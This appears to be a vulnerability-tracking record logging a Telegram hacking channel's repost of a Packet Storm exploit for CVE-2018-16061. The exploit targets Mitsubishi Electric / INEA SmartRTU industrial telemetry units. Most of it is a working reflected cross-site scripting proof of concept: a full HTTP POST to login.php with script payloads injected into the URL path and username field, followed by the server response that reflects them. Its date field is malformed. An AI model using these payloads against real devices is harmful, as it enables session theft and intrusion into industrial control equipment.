{"uuid": "f4307bfd-81df-43f3-a8a3-f6a046df3e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16061", "type": "seen", "source": "https://t.me/hacking_Attack/28105", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png \nMitsubishi Electric and INEA SmartRTU suffer from a cross site scripting vulnerability.\n\nMD5 | 1bf870c75a7a097da8ec1aaeb1ba24f0\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16061\n# PoC\n# Request\n\nPOST\n/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%\n3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1\nHost: **.**.**.***\nContent-Length: 132\nCache-Control: max-age=0\nOrigin: http://**.**.**.***\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/68.0.3440.84\nSafari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nReferer: http://**.**.**.***sss/login.php\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nCookie: PHPSESSID=el8pvccq5747u4qj9koio950l7\nConnection: close\n\nsubmitted=1&username=--\n%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw\nord=&Submit=Login\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:14:25 GMT\nServer: Apache/2.4.7 (Ubuntu)\nX-Powered-By: PHP/5.5.9-1ubuntu4\nVary: Accept-Encoding\nContent-Length: 3573\nConnection: close\nContent-Type: text/html\naction='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'\nmethod='post' accept-charset='UTF-8'>\nReference :\n\nhttps://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.202687Z"}